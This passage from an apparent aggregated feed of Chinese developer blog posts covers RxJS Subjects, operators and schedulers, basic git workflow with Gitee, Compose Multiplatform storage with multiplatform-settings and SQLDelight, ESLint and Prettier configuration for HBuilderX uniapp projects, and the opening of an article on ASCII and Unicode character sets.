  next: (v) => console.log("observerB: " + v),
});

subject.next(1);
subject.next(2);

// observerA: 1
// observerB: 1
// observerA: 2
// observerB: 2

当做 Observable

import { from, Subject } from "rxjs";

var subject = new Subject();

subject.subscribe({
  next: (v) => console.log("observerA: " + v),
});
subject.subscribe({
  next: (v) => console.log("observerB: " + v),
});

var observable = from([1, 2, 3]);

observable.subscribe(subject); // 你可以提供一个 Subject 进行订阅

// observerA: 1
// observerB: 1
// observerA: 2
// observerB: 2
// observerA: 3
// observerB: 3

还有一些特殊类型的 SubjectBehaviorSubjectReplaySubjectAsyncSubject

BehaviorSubject

Subject 的其中一个变体就是 BehaviorSubject,它有一个“当前值”的概念。它保存了发送给消费者的最新值。并且当有新的观察者订阅时,会立即从 BehaviorSubject 那接收到“当前值”,多个订阅拿到的是最新的值,可以当做管道处理。

import { BehaviorSubject } from "rxjs";
const subject = new BehaviorSubject(0); // 0 is the initial value

subject.subscribe({
  next: (v) => console.log(`observerA: ${v}`),
});

subject.next(1);
subject.next(2);

subject.subscribe({
  next: (v) => console.log(`observerB: ${v}`),
});

subject.next(3);

// Logs
// observerA: 0
// observerA: 1
// observerA: 2

// observerB: 2
// observerA: 3
// observerB: 3

ReplaySubject

ReplaySubject 类似于 BehaviorSubject,发送旧值给新的订阅者,但它还可以记录 Observable 执行的一部分。

import { ReplaySubject } from "rxjs";
// 缓存3个值在缓冲区,有新的订阅就发送,最新的3个
const subject = new ReplaySubject(3); // buffer 3 values for new subscribers

subject.subscribe({
  next: (v) => console.log(`observerA: ${v}`),
});

subject.next(1);
subject.next(2);
subject.next(3);
subject.next(4);

subject.subscribe({
  next: (v) => console.log(`observerB: ${v}`),
});

subject.next(5);

// Logs:
// observerA: 1
// observerA: 2
// observerA: 3
// observerA: 4
// observerB: 2
// observerB: 3
// observerB: 4
// observerA: 5
// observerB: 5

AsyncSubject

AsyncSubject 是另一个 Subject 变体,只有当 Observable 执行完成时(执行 complete()),它才会将执行的最后一个值发送给观察者。

import { AsyncSubject } from "rxjs";
const subject = new AsyncSubject();

subject.subscribe({
  next: (v) => console.log(`observerA: ${v}`),
});

subject.next(1);
subject.next(2);
subject.next(3);
subject.next(4);

subject.subscribe({
  next: (v) => console.log(`observerB: ${v}`),
});

subject.next(5);
subject.complete();

// Logs:
// observerA: 5
// observerB: 5

Operators (操作符)

操作符是 Observable 类型上的方法,比如 .map(...).filter(...).merge(...),等等。当操作符被调用时,它们不会改变已经存在的 Observable 实例。相反,它们返回一个新的 Observable ,它的 subscription 逻辑基于第一个 Observable 。

操作符是函数,它基于当前的 Observable 创建一个新的 Observable。这是一个无副作用的操作:前面的 Observable 保持不变。

import { of, map, first } from 'rxjs';

of(1, 2, 3)
  .pipe(map((x) => x * x))
  .subscribe((v) => console.log(`value: ${v}`));

// Logs:
// value: 1
// value: 4
// value: 9

// first 操作符
of(1, 2, 3)
  .pipe(first())
  .subscribe((v) => console.log(`value: ${v}`));

// Logs:
// value: 1

Piping 管道

管道操作符是函数,因此可以像普通函数一样使用

obs.pipe(op1(), op2(), op3(), op4());

常用操作符

map、filter、mergeMap、of、zip、first ...

Scheduler 调度器

调度器控制着何时启动 subscription 和何时发送通知。它由三部分组成:

  • 调度器是一种数据结构。 它知道如何根据优先级或其他标准来存储任务和将任务进行排序。
  • 调度器是执行上下文。 它表示在何时何地执行任务(举例来说,立即的,或另一种回调函数机制(比如 setTimeout 或 process.nextTick),或动画帧)。
  • 调度器有一个(虚拟的)时钟。 调度器功能通过它的 getter 方法 now() 提供了“时间”的概念。在具体调度器上安排的任务将严格遵循该时钟所表示的时间。

把任务全部转换为异步

import { Observable, observeOn, asyncScheduler } from "rxjs";

const observable = new Observable((observer) => {
  observer.next(1);
  observer.next(2);
  observer.next(3);
  observer.complete();
}).pipe(observeOn(asyncScheduler));

console.log("just before subscribe");
observable.subscribe({
  next(x) {
    console.log("got value " + x);
  },
  error(err) {
    console.error("something wrong occurred: " + err);
  },
  complete() {
    console.log("done");
  },
});
console.log("just after subscribe");
// just before subscribe
// just after subscribe
// got value 1
// got value 2
// got value 3
// done

observeOn(asyncScheduler)new Observable 和最终观察者之间引入了一个代理观察者。

proxyObserver 创建于 observeOn(asyncScheduler) ,其 next(val) 功能大致如下:

const proxyObserver = {
  next(val) {
    asyncScheduler.schedule(
      (x) => finalObserver.next(x),
      0 /* delay */,
      val /* 第一个参数的函数实参值 */
    );
  },

  // ...
};

async 调度器操作符使用了 setTimeoutsetInterval,即使给定的延迟时间为0。照例,在 JavaScript 中,我们已知的是 setTimeout(fn, 0) 会在下一次事件循环迭代的最开始运行 fn

Scheduler Types 调度程序类型

Scheduler ****调度程序Purpose ****目的
null不传递任何调度器的话,会以同步递归的方式发送通知。用于定时操作或尾递归操作。
queueScheduler当前事件帧中的队列调度。用于迭代操作。
asapScheduler微任务的队列调度,它使用可用的最快速的传输机制,比如 Node.js 的 process.nextTick() 或 Web Worker 的 MessageChannel 或 setTimeout 或其他。用于异步转换。
asyncScheduler使用 setInterval 的调度。用于基于时间的操作符。
animationFrameScheduler安排在下次浏览器内容重绘之前执行的任务。可用于创建流畅的浏览器动画。

使用调度器

静态创建操作符通常可以接收调度器作为参数。 举例来说,from(array, scheduler) 可以让你指定调度器,当发送从 array 转换的每个通知的时候使用。调度器通常作为操作符的最后一个参数。下面的静态创建操作符接收调度器参数:

  • bindCallback
  • bindNodeCallback
  • combineLatest
  • concat
  • empty
  • from
  • fromPromise
  • interval
  • merge
  • of
  • range
  • throw
  • timer

使用 subscribeOn 来安排在什么上下文中 subscribe() 调用会发生。默认情况下,在 Observable 上的 subscribe() 调用会同步且立即发生。然而,您可以使用实例操作符 subscribeOn(scheduler) 来延迟或安排实际订阅在给定的调度器上发生,其中 scheduler 是您提供的参数。

示例

  1. 简单的事件注册和监听
var button = document.querySelector('button');
button.addEventListener('click', () => console.log('Clicked!'));

// rxjs 的写法
var button = document.querySelector('button');
Rx.Observable.fromEvent(button, 'click')
  .subscribe(() => console.log('Clicked!'));
  1. 发送多个值,包含同步和异步
import { Observable } from "rxjs";

const observable = new Observable((subscriber) => {
  subscriber.next(1);
  subscriber.next(2);
  subscriber.next(3);
  setTimeout(() => {
    subscriber.next(4);
    subscriber.complete();
  }, 1000);
});

observable.subscribe({
  next: (value) => console.log(value),
  complete: () => console.log("Complete"),
  error: (err) => console.error(err),
});


// 1
// 2
// 3
// 等待 1000ms
// 4
// Complete

Observer

Observer 是一个包含 nexterrorcomplete 方法的对象,用于处理 Observable 发出的值、错误和完成通知。

Subscription

Subscription 表示 Observable 的执行,可以通过 unsubscribe 方法来取消订阅。

  1. 使用操作符处理
import { of } from "rxjs";
import { map, filter } from "rxjs/operators";

const numbers = of(1, 2, 3, 4, 5);

const squaredNumbers = numbers.pipe(
  filter((x) => x % 2 === 0),
  map((x) => x * x)
);

squaredNumbers.subscribe((x) => console.log(x));

先试用 of 创建一个 Observable,然后使用 pipe 管道处理值。

by LikM at January 19, 2025 08:14 AM

juejin freebie

学习笔记 使用git工具管理自己的项目代码

前言

最近的学习记录中,我发现有些时候自己写的代码会忘记写到什么地方,这个时候我想到为什么不用git来管理自己的项目代码呢?使用git 不但可以将代码交给仓库管理,也可以练习代码提交管理之类的能力,还有解决冲突等本领,事不宜迟,立马使用起来!

下载git、并创建gitee码云账号

我们要想使用git工具配合码云来管理我们的代码,就必须先安装好,git工具,git工具的安装呢,非常简单,网上也有大佬写的很好的文章可以借鉴,这边我就不做过多讲解,主要记录一下自己是如何使用git配合码云来管理自己的项目代码的。

注册码云(gitee)账号 这个非常简单只需要注册一个账号,是非常简单的事情。

git下载地址:soft.aijiaer11.cn/soft/124420…

新建仓库管理代码我们的代码

进入gitee 中,在我们的头像处点击我的仓库,进入我们的仓库,一进来是没仓库的所以需要我们手动建立一个仓库, 点击新建就可以创建一个仓库啦

image.png

详细的git配置,需要自行百度了解,不难查询一下资料就可以啦~

点击新建,我们输入好基本信息点击创建就可以啦,这里根据自己的需求来进行填写即可。 开源是所有人都可以看见,私有是自己本人才可以查看

image.png

创建完毕之后我们可以查看到一下命令代码

image.png

根据代码提示一步一步进行即可

在本地创建一个test文件目录之后安装命令进行操作就可以得到一个仓库了, 之后我们就可以来对仓库的代码进行一个操作,这里我常用的几个命令分为

git branch 查看当前分支
git checkout 切换分支
git add . 暂存代码
git commit -m "描述" 提交代码
git push 提交到远程仓库
git merge <branch-name> 合并分支(将<branch-name>分支合并到当前分支上)
git reset --hard HEAD 回退到上一次提交

这里我的建议是将自己的代码新建一个分支,在新的分支上进行代码的编写,等代码没问题就提交到,主分支上,然后在远程提交到仓库中去。

列子

根据上面我提出的一些git命令我们来对这个项目进行一次代码提交的流程 首先创建一个分支git checkout -b 分支名称 这个命名可以让你创建一个分支并且切换到当前创建好的分支

通过git branch查看到我有俩个分支,现在在sys-account这个分支下面,我将修改好的代码全部暂存并且commit 提交

image.png

image.png

来到主分支下面,我们在使用git merge <branch-name> 合并分支(将<branch-name>分支合并到当前分支上)这个git 命令 将sys-account合并到我们的主分支中,显示一下提示信息就说明合并分支成功,接下来就可以使用git push命令就可以提交到远程仓库了

image.png

如果分支提交完毕之后,你不想要了可以使用git branch -d feature/new-feature 删除你的分支

如果提交出现问题可以使用git reset --hard HEAD 提交到上一次提交的记录,如果是其他冲突可以根据你冲突的条件和代码进行更改,如何在进行一次提交

这是本人的一点点学习记录心得,不知道具体公司开发中是如何使用git的,如果有大佬知道,还请教学一波~不胜感激!!!

by 想努力找到前端实习的呆呆鸟 at January 19, 2025 08:06 AM

juejin android

Compose Multiplatform 之旅 — 数据存储

在app 开发过程中,数据存储是比较常用的需求,那Compose Multiplatform项目中,我们该如何进行数据存储呢?今天我们就来聊一聊CMP项目中的数据存储。

想了解更多Compose Multiplatform项目的小伙伴,可以看看之前的文章

找到合适的框架

Kotlin Mutiplatform 已经有了很多现成的基建了,我们还是通过直接推荐的 klibs.io 去进行搜索,看看有哪些现成的框架。

Pasted image 20250109203723.png

搜索storage关键字,找到常见的2种场景(1.kv 存储 2.数据库存储) 找到了2个star比较高的仓库,都支持Android、iOS、Web、桌面端。

KV 存储-multiplatform-settings

该库可以根据具体平台自动适配常见存储方式:

  • Android:使用 SharedPreferences。
  • iOS:使用 NSUserDefaults。
  • JS/Native/Desktop:使用文件系统模拟存储。

依赖引入

//在build.gradle.kts 的commonMain引入相关依赖
commonMain.dependencies {  
    ...
    implementation(libs.multiplatform.settings)  
}

//libs.versions.toml 中定义版本号

multiplatformSettings = "1.2.0"
multiplatform-settings = { module = "com.russhwolf:multiplatform-settings", version.ref = "multiplatformSettings" }

初始化

我们使用之前提到过的expect/actual 的机制来初始化 Settings 对象。

commonMain

//公共模块定义好接口


expect fun createSettings(): Settings

androidMain

actual fun createSettings(): Settings {  
//appContext 是在Application 声明的一个变量
    val delegate: SharedPreferences = appContext.getSharedPreferences("MyPrefs", Context.MODE_PRIVATE)  
    return SharedPreferencesSettings(delegate)  
}

iosMain

actual fun createSettings(): Settings {  
    val userDefaults = NSUserDefaults.standardUserDefaults  
    return NSUserDefaultsSettings(userDefaults)  
}

jvmMain

val delegate: Preferences = Preferences.userRoot().node("com.example.myapp")  
return  PreferencesSettings(delegate)

使用

简单封装一个存储字符串的方法,存储和获取数据,当然其他常见的基础数据类型都是支持的。

object SettingsUtils {  
    private val settings = createSettings()  
  
    fun save(key:String,value: Long){  
    settings.putLong(key,value)  
}  
  
fun get(key: String,defaultValue: Long):Long{  
    return settings.getLong(key,defaultValue)  
} 
  
}

在页面上,记录上次点击的时间,输出上次与此刻相差的时间

class NowScreen : Screen {  
    @Composable  
    override fun Content() {  
  
        var time by rememberSaveable { mutableStateOf(0L) }  
        var lastTime by rememberSaveable { mutableStateOf(0L) }  
  
        LaunchedEffect(Unit) {  
            withContext(Dispatchers.IO) {  
                lastTime = SettingsUtils.get("time", 0L)  
            }  
            while (true) {  
                time = if (lastTime > 0) {  
                    getCurrentTimestamp() - lastTime  
                } else {  
                    0  
                }  
                delay(1000)  
            }  
        }  
  
        Column(  
            modifier = Modifier.fillMaxSize().background(Color.Yellow),  
            horizontalAlignment = Alignment.CenterHorizontally,  
            verticalArrangement = Arrangement.Center,  
        ) {  
            Text(  
                text = "距离任务开始已经${time} 秒了",  
                fontSize = 20.sp,  
                color = Color.Black  
            )  
            Button(onClick = {  
                time = 0  
                lastTime = getCurrentTimestamp()  
                SettingsUtils.save("time", lastTime)  
            }) {  
                Text("重新开始")  
            }  
        }  
    }  
}

fun getCurrentTimestamp(): Long {  
//需要引入datetime库,获取当前时间
    val instant: Instant = Clock.System.now()  
    return instant.epochSeconds  
}

效果

可以看到杀死app之后,下次再次进入会根据kv 存储的时候,继续计时

20250118-151547.gif

数据库存储-sqldelight

依赖引入

1.需要引入插件生成sql类 2.每个平台不同实现,需要引入对应的依赖

//libs.versions.toml 中定义版本号

sqldelight = "2.0.2"
sqldelight = { id = "app.cash.sqldelight", version.ref = "sqldelight" }

//在工程根目录引入插件
plugins {  
//...
    alias(libs.plugins.sqldelight) apply false
}

//在shared 的build.gradle.kts 的commonMain引入插件和相关依赖
plugins {  
//...
    alias(libs.plugins.sqldelight)  
}  
  
kotlin {  

    sourceSets {  
    //每个模块引入对的平台依赖
        commonMain.dependencies {  
            implementation("app.cash.sqldelight:runtime:2.0.2")   
        }  
        androidMain.dependencies {  
            implementation("app.cash.sqldelight:android-driver:2.0.2")  
        }  
        iosMain.dependencies {  
            implementation("app.cash.sqldelight:native-driver:2.0.2")  
        }  
        jvmMain.dependencies {  
            implementation("app.cash.sqldelight:sqlite-driver:2.0.2")  
        }  
    }
}  
  
sqldelight {  
    databases{  
    //定义数据库名字
        create("AppDatabase") {  
        //对于包名
            packageName.set("com.example.database")  
        }  
    }
}

定义数据库

在commonMain 中,新增一个sqldelight的目录,(注意:不是在kotlin目录中,否则生成数据库代码时,找不到对应的.sq文件,否则排查半天发现就是不能生成)。根据前面声明的包名,创建好对应的目录。

Pasted image 20250118152451.png

在目录中,创建你需要的数据类型,这里我把上面的计时功能,增加一个历史数据存储。定义了一个TimeRecord.sq 的数据表

-- TimeRecord.sq
-- 创建时间记录表  
CREATE TABLE time_record (  
    id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, -- 唯一标识  
    event_name TEXT NOT NULL,                     -- 事件名称  
    start_time INTEGER NOT NULL,                  -- 开始时间(时间戳,单位为秒)  
    end_time INTEGER NOT NULL                     -- 结束时间(时间戳,单位为秒)  
);  
  
-- 插入新记录  
insertTimeRecord:  
INSERT INTO time_record (event_name, start_time, end_time)  
VALUES (:event_name, :start_time, :end_time);  
  
-- 查询所有记录,按开始时间升序排序  
selectAllTimeRecordsSortedByStartTime:  
SELECT * FROM time_record  
ORDER BY start_time ASC;  
  
-- 更新记录的开始时间和结束时间  
updateTimeRecord:  
UPDATE time_record  
SET start_time = :start_time, end_time = :end_time  
WHERE id = :id;  
  
-- 删除记录  
deleteTimeRecordById:  
DELETE FROM time_record WHERE id = :id;

根据创建的表生成对应的类

gradle sync 一下,或者执行 gradle task 里面的 sqldelight>generateSqlDelightInterface 任务 就会生成对应的类。

生成的类在build>generated>sqldelight 目录下。 这里生成的AppDatabase、AppDatabaseImpl 就是处理数据库相关的初始化、迁移逻辑。 Time_record 是上面声明表的基础类型 TimeRecordQueries 是根据上面写的一些操作,生成的帮助类

Pasted image 20250118153550.png

数据库初始化

在commonMain 中创建一个DatabaseHelper

// commonMain
// 每个平台使用不同的driver,通过expect让每个端自行实现
expect class DatabaseDriverFactory() {  
    fun createDriver(): SqlDriver  
}  
  
object DatabaseHelper {  
    private val driver = DatabaseDriverFactory().createDriver()  
    //后续就可以直接用这个数据库进行处理了,这里的AppDatabase类就是前面自动创建的
    val database = AppDatabase(driver)  
}

//androidMain
actual class DatabaseDriverFactory {  
    actual fun createDriver(): SqlDriver {  
        return AndroidSqliteDriver(AppDatabase.Schema, appContext, "app.db")  
    }  
}

//iosMain
actual class DatabaseDriverFactory {  
    actual fun createDriver(): SqlDriver {  
        return NativeSqliteDriver(AppDatabase.Schema, "app.db")  
    }  
}

//jvmMain
actual class DatabaseDriverFactory {  
    actual fun createDriver(): SqlDriver {  
        val databaseFile = File("app.db")  
        val driver = JdbcSqliteDriver("jdbc:sqlite:app.db")  
        if (!databaseFile.exists()) {  
            // 数据库文件不存在时,创建表,否则会出现未创建或者重复创建表的错误  
            AppDatabase.Schema.create(driver)  
        }  
        return driver  
  
    }  
}

数据库使用

在前面记录时间的页面,我们把每次计时结束,我们都把数据存储到数据库中

val timeRecordQueries = DatabaseHelper.database.timeRecordQueries
//往表中插入数据
timeRecordQueries.insertTimeRecord("专注",lastTime, getCurrentTimestamp())

在新的页面,我们进行列表展示数据库的数据

class PastScreen : Screen {  
    @Composable  
    override fun Content() {  
  
        val timeRecordQueries = DatabaseHelper.database.timeRecordQueries  
        //获取到数据库里面的数据
        val timeRecords by produceState<List<Time_record>>(initialValue = emptyList(), timeRecordQueries) {  
            withContext(Dispatchers.IO) {  
                value = timeRecordQueries  
                    .selectAllTimeRecordsSortedByStartTime()  
                    .executeAsList()  
            }  
        }  
        Column (  
            modifier = Modifier.fillMaxSize().background(Color.Green),  
            horizontalAlignment = Alignment.CenterHorizontally,  
            verticalArrangement = Arrangement.Center,  
        ){  
            LazyColumn(  
                modifier = Modifier  
                    .fillMaxSize()  
                    .padding(10.dp)  
            ) {  
            //列表展示数据库的每条数据
                items(timeRecords) { timeRecord ->  
                    TimeRecordItem(timeRecord)  
                }  
            }        
        }    
    }  
}  
  
@Composable  
fun TimeRecordItem(timeRecord: Time_record) {  
    Card(  
        modifier = Modifier  
            .fillMaxWidth()  
            .padding(8.dp),  
    ) {  
        Column(modifier = Modifier.padding(16.dp)) {  
            Text(text = timeRecord.event_name)  
            Text(  
                text = "开始时间: ${timeRecord.start_time}"  
            )  
            Text(  
                text = "结束时间: ${timeRecord.end_time}"  
            )  
        }  
    }
}

iOS Undefined symbols for architecture arm64问题

Android 和 桌面端运行不会存在问题,但是在ios 上运行sqldelight有一个Undefined symbols for architecture arm64的错误。 在github 上找到了对应的修复方案:github.com/sqldelight/…

需要在xcode 上,other linker flags 的最后增加一个 -lsqlite3 配置

img_v3_02ik_2221ac17-84fc-447c-b833-8b0ee595e02g.jpg

效果

在上面的kv 页面的基础上,我们新增了一个页面展示记录的详情,详情数据就是使用的数据库中的数据。

img_v3_02il_ce5e046b-c9c9-461f-a1ee-aed44e04c64g.gif

结语

利用上面的两个库,已经可以处理跨平台开发过程中常见的数据存储了。有了这些基建,在跨平台开发过程中,岂不是美滋滋。有什么其他想了解跨平台的特性或者三方库,大家可以提出来,我们一起学习,共同进步。

by droidHZ at January 19, 2025 07:52 AM

juejin frontend

HBuilderX创建的uniapp项目配置Eslint+Prettier

前言

对于习惯传统开发方式的开发者而言,初次接手由 HBuilderX 创建的 uni-app 项目,无疑会面临一系列挑战。HBuilderX 对项目进行了深度封装,其诸多配置与设置和传统开发模式大相径庭。在探索 uni-app 项目开发的过程中,积累了不少宝贵经验。接下来,我将分享一下通过HbuilderX创建的uniapp项目,要如何配置Eslint+Prettier,并且无论是使用HbuilderX还是VSCode都能正常工作的方法。

啰嗦两句为什么项目开发需要配置ESlint和Prettier

1. 提高代码质量

  • ESLint:ESLint是一个静态代码分析工具,用于识别和报告JavaScript代码中的模式和问题。通过配置ESLint,你可以捕获潜在的错误、代码中的反模式和不符合最佳实践的地方。例如,ESLint可以帮助你发现未定义的变量、未使用的变量、不安全的代码模式等。
  • Prettier:Prettier是一个代码格式化工具,用于自动格式化代码,使其符合指定的代码风格。Prettier可以确保代码的一致性,避免因代码风格问题导致的错误。

2. 提高开发效率

  • 自动修复代码问题:ESLint和Prettier都可以自动修复一些常见的代码问题和格式问题,减少开发者手动修复的时间和精力。
  • 集成开发环境(IDE)支持:大多数现代IDE和代码编辑器(如VSCode、WebStorm等)都支持ESLint和Prettier的集成,可以在开发过程中实时提示和自动修复代码问题,提高开发效率。

3. 减少代码错误

  • 捕获潜在错误:ESLint可以帮助你捕获潜在的代码错误和反模式,减少代码中的bug。例如,ESLint可以检测未定义的变量、未使用的变量、不安全的代码模式等。
  • 强制最佳实践:通过配置ESLint规则,你可以强制团队遵循最佳实践,减少代码中的潜在问题。例如,ESLint可以强制使用严格模式、避免使用全局变量、限制复杂度等。

4. 提高团队协作效率

  • 统一的代码风格:通过配置Prettier,团队成员可以使用统一的代码风格,减少因代码风格差异引发的冲突和讨论。
  • 减少代码合并冲突:一致的代码风格和自动格式化可以减少代码合并时的冲突,提高团队协作效率。

开始配置

如题,是基于HBuilderX创建的小程序项目,非cli方式创建的项目

1. 下载插件与安装

打开DCloud插件市场,下载formatAndSaveeslint-plugin-vueeslint-js三个插件并导入HBuilderX

2. 进行插件配置

1. 配置formatAndSave插件

  1. 打开编辑器配置,关闭保存时自动格式化的选项
  2. 在项目根目录创建.prettierrc.js,并写入以下内容,具体规则可自行修改
    module.exports = {
      printWidth: 180, // 指定换行的行长,默认80。设置为180可以避免不必要的换行。
      tabWidth: 2, // 指定每个缩进级别的空格数,默认2。通常情况下,2个空格的缩进更为常见。
      useTabs: false, // 用制表符而不是空格缩进,默认false。大多数项目更倾向于使用空格缩进。
      semi: true, // 在语句末尾添加分号,默认true。设置为true表示在语句末尾添加分号。
      singleQuote: true, // 使用单引号而不是双引号,默认false。如果你希望使用单引号,可以设置为true。
      quoteProps: 'preserve', // object对象中key值是否加引号,默认as-needed。只有在必要时才添加引号。
      jsxSingleQuote: false, // 在 JSX 中使用单引号而不是双引号,默认false。如果你希望在 JSX 中使用双引号,可以保持此值为false。
      trailingComma: 'es5', // 取消尾随逗号,默认es5。设置为"none"表示不添加尾随逗号。
      bracketSpacing: true, // 对象字面量中括号之间的空格,默认true。在对象字面量中添加空格可以提高可读性。
      bracketSameLine: false, // 将>放在多行 HTML(HTML、JSX、Vue、Angular)元素最后一行的末尾,默认false。保持默认值可以提高代码的可读性。
      arrowParens: 'always', // 在唯一的箭头函数参数周围包含括号,默认always。这有助于避免一些潜在的语法错误。
      proseWrap: 'preserve', // 超过最大宽度是否换行,默认preserve。保持默认值可以避免不必要的换行。
      htmlWhitespaceSensitivity: 'ignore', // 指定 HTML、Vue、Angular 和 Handlebars 的全局空格敏感度,默认ignore。忽略多余的空格可以提高代码的整洁度。
      vueIndentScriptAndStyle: false, // vue文件script和style标签中是否缩进,默认false。保持默认值可以避免不必要的缩进。
      endOfLine: 'lf', // 行尾换行符,默认lf。使用LF换行符可以确保跨平台兼容性。
      embeddedLanguageFormatting: 'auto', // 控制 Prettier 是否格式化嵌入在文件中的引用代码,默认auto。保持默认值可以让 Prettier 自动处理嵌入代码的格式化。
      singleAttributePerLine: false, // 在 HTML、Vue 和 JSX 中强制执行每行单个属性,默认false。保持默认值可以避免不必要的换行。
      parsers: {
        '.nvue': 'vue', // 将.nvue文件视为Vue文件进行格式化
        '.ux': 'vue', // 将.ux文件视为Vue文件进行格式化
        '.uvue': 'vue', // 将.uvue文件视为Vue文件进行格式化
        '.uts': 'typescript', // 将.uts文件视为TypeScript文件进行格式化
      },
    };
    
  3. 打开一个vue文件进行保存测试,如果是首次新添加prettier格式化,会弹出选择框让你选择,直接选择一直选择prettier即可,后续会自动格式化。
  4. 酌情添加.prettierignore

2. 配置eslint插件

  1. 打开插件配置,找到eslint-js列和eslint-vue列,启用实时校验
  2. 在项目根目录创建.eslintrc.js,并写入以下内容,具体规则可自行修改
    //详细配置教程请参考:http://eslint.cn/docs/user-guide/configuring
    module.exports = {
      plugins: ['html'],
      extends: 'plugin:vue/base',
      parserOptions: {
        ecmaVersion: 'latest',
        sourceType: 'module',
        ecmaFeatures: {
          jsx: true,
        },
        allowImportExportEverywhere: false,
      },
      'settings': {
    'html/html-extensions': ['.erb', '.handlebars', '.hbs', '.htm', '.html', '.mustache', '.nunjucks', '.php', '.tag', '.twig', '.wxml', '.we'],
      },
      rules: {
        /*
          "off" 或 0 - 关闭规则
          "warn" 或 1 - 开启规则,使用警告级别的错误:warn (不会导致程序退出)
          "error" 或 2 - 开启规则,使用错误级别的错误:error (当被触发的时候,程序会退出)
          */
        camelcase: 2, // 强制驼峰法命名
        'id-match': 0, //命名检测
        'init-declarations': 2, //声明时必须赋初值
        'no-undef': 1, //不能有未定义的变量
        'no-alert': 0,
        semi: ['error', 'always'], // 结尾使用分号, // 要求或禁止使用分号代替 ASI
        'no-extra-semi': 1, //禁止不必要的分号
        indent: ['off', 2], // 相同的缩进2
        eqeqeq: ['error', 'always'], // 用强等于做判断
        'no-multi-spaces': 'error', //禁止使用多个空格
        'no-const-assign': 2, //禁止修改const声明的变量
        quotes: ['error', 'single'], //必须使用双引号
        'no-trailing-spaces': 1, //禁用行尾空格
    'no-dupe-keys': 'error', //禁止对象字面量中出现重复的 key
        'comma-dangle': [
          'error',
          {
            'arrays': 'always-multiline',
            'objects': 'always-multiline',
            'imports': 'always-multiline',
            'exports': 'always-multiline',
            'functions': 'never',
          },
        ], //要求或禁止末尾逗号
        'object-curly-spacing': ['error', 'always'], // 要求花括号内有空格 (除了 {})
        'no-multiple-empty-lines': [
          'warn',
          {
            max: 1,
            maxEOF: 1,
          },
        ], //禁止出现多行空行
        'key-spacing': [
          // 强制在对象字面量的属性中键和值之间使用一致的间距
          'warn',
          {
            afterColon: true,
          },
        ],
        //在computed properties中禁用异步actions
        'vue/no-async-in-computed-properties': 'error',
        //不允许重复的keys
        'vue/no-dupe-keys': 'error',
        //不允许重复的attributes
        'vue/no-duplicate-attributes': 'warn',
        //在 标签下不允许解析错误
        'vue/no-parsing-error': [
          'error',
          {
            'x-invalid-end-tag': false,
          },
        ],
        //不允许覆盖保留关键字
        'vue/no-reserved-keys': 'error',
        //强制data必须是一个带返回值的函数
        // "vue/no-shared-component-data": "error",
        //不允许在computed properties中出现副作用。
        'vue/no-side-effects-in-computed-properties': 'error',
        //不允许key属性
        'vue/no-template-key': 'warn',
        //在 中不允许mustaches
        'vue/no-textarea-mustache': 'error',
        //不允许在v-for或者范围内的属性出现未使用的变量定义
        'vue/no-unused-vars': 'warn',
        //标签需要v-bind:is属性
        'vue/require-component-is': 'error',
        // render 函数必须有一个返回值
        'vue/require-render-return': 'error',
        //保证 v-bind:key 和 v-for 指令成对出现
        'vue/require-v-for-key': 'error',
        // 检查默认的prop值是否有效
        'vue/require-valid-default-prop': 'error',
        // 保证computed属性中有return语句
        'vue/return-in-computed-property': 'error',
        // 强制校验 template 根节点
        'vue/valid-template-root': 'error',
        // 强制校验 v-bind 指令
        'vue/valid-v-bind': 'error',
        // 强制校验 v-cloak 指令
        'vue/valid-v-cloak': 'error',
        // 强制校验 v-else-if 指令
        'vue/valid-v-else-if': 'error',
        // 强制校验 v-else 指令
        'vue/valid-v-else': 'error',
        // 强制校验 v-for 指令
        'vue/valid-v-for': 'error',
        // 强制校验 v-html 指令
        'vue/valid-v-html': 'error',
        // 强制校验 v-if 指令
        'vue/valid-v-if': 'error',
        // 强制校验 v-model 指令
        'vue/valid-v-model': 'error',
        // 强制校验 v-on 指令
        'vue/valid-v-on': 'error',
        // 强制校验 v-once 指令
        'vue/valid-v-once': 'error',
        // 强制校验 v-pre 指令
        'vue/valid-v-pre': 'error',
        // 强制校验 v-show 指令
        'vue/valid-v-show': 'error',
        // 强制校验 v-text 指令
        'vue/valid-v-text': 'error',
        'vue/comment-directive': 0,
      },
    };
    
  3. 酌情添加.eslintignore

经过以上步骤配置,ESlint和Prettier此时已经可以在HBuilderX里正常工作了,但很多人其实更喜欢使用VSCode来做开发工作,因为VSCode有更多好用的插件能提示开发效率。以下将介绍使ESlint和Prettier在VSCode运行的方法,其实经过以上步骤后,后续步骤已经很简单

3. VSCode中运行

  1. 在VSCode安装eslintprettier两个插件
  2. 通过npm命令安装eslinteslint-plugin-htmleslint-plugin-vue
    npm i eslint@8 eslint-plugin-html eslint-plugin-vue@8 -D
    
    为什么要安装@8 ?因为eslint9以上版本仅支持eslint.config.js配置文件,现暂不确定HBuilderX内置的版本是多少,所以还是安装旧版为妥。
  3. 打开一个vue文件进行编辑测试(建议先关闭保存自动格式化再测试)

4. 注意事项

如果出现配置完无效,可尝试重启HBuilderX或VSCode使其重新加载配置

经过以上步骤,无论是使用HBuilderX还是VSCode都可以使Eslint+Prettier正常工作啦!

下一期将讲讲HBuilderX创建的uniapp项目如何配置unocss,点赞收藏关注催更吧~

by EamonX at January 19, 2025 07:41 AM

对于JavaScript中字符的进一步理解

这篇文章是对ES6之后字符串扩展知识的思考和总结,本文不会聚焦于API,而是着重于介绍字符这一概念的基础表示。

关键词 : 字符集,编码格式,Unicode,码元,码点等。

一、计算机中的字符

JS中的字符在后文会提到。

1.字符集的概念

学过计算机组成原理知道,数字在计算机内存中存储形式是二进制。其实字符最终也会以二进制的形式存储在计算机内存中。但是,字符毕竟不能和数字进行数学运算(类似进制转换的操作),所以我们需要人为规定一个字符-数字映射表,也叫做字符集。在计算机层面,我们也将字符叫做字符集定义的符号。

2.ASCII字符集

耳熟能详的字符集规则有:ASCII,这是一个以7个比特位(bit)表达的字符集,一共能表示128(2^7)个字符,后续增加到8个比特位,额外增加了128个字符。对应规则就像下面这样:

image.png

一一对应的关系,十分清晰。上述字符集中,字符数据的部分我们常称之为码点(Code Point),在这里,我们可以说:字符A的码点是65(十进制)。

根据上面的内容可以做出总结:

  • 码点是字符集中字符对应的唯一数值。
  • ASCII字符集是定长编码的,其字符总是能够使用8个比特位的二进制数来表示。
  • ASCII字符集编码过程简单,码点能够简单对应上特定字符。

3.Unicode字符集

ASCII是小型字符集,Unicode也是一个字符集标准。相比之下,其内部涵盖了超百万的字符,是现代被广泛采用的字符集标准。

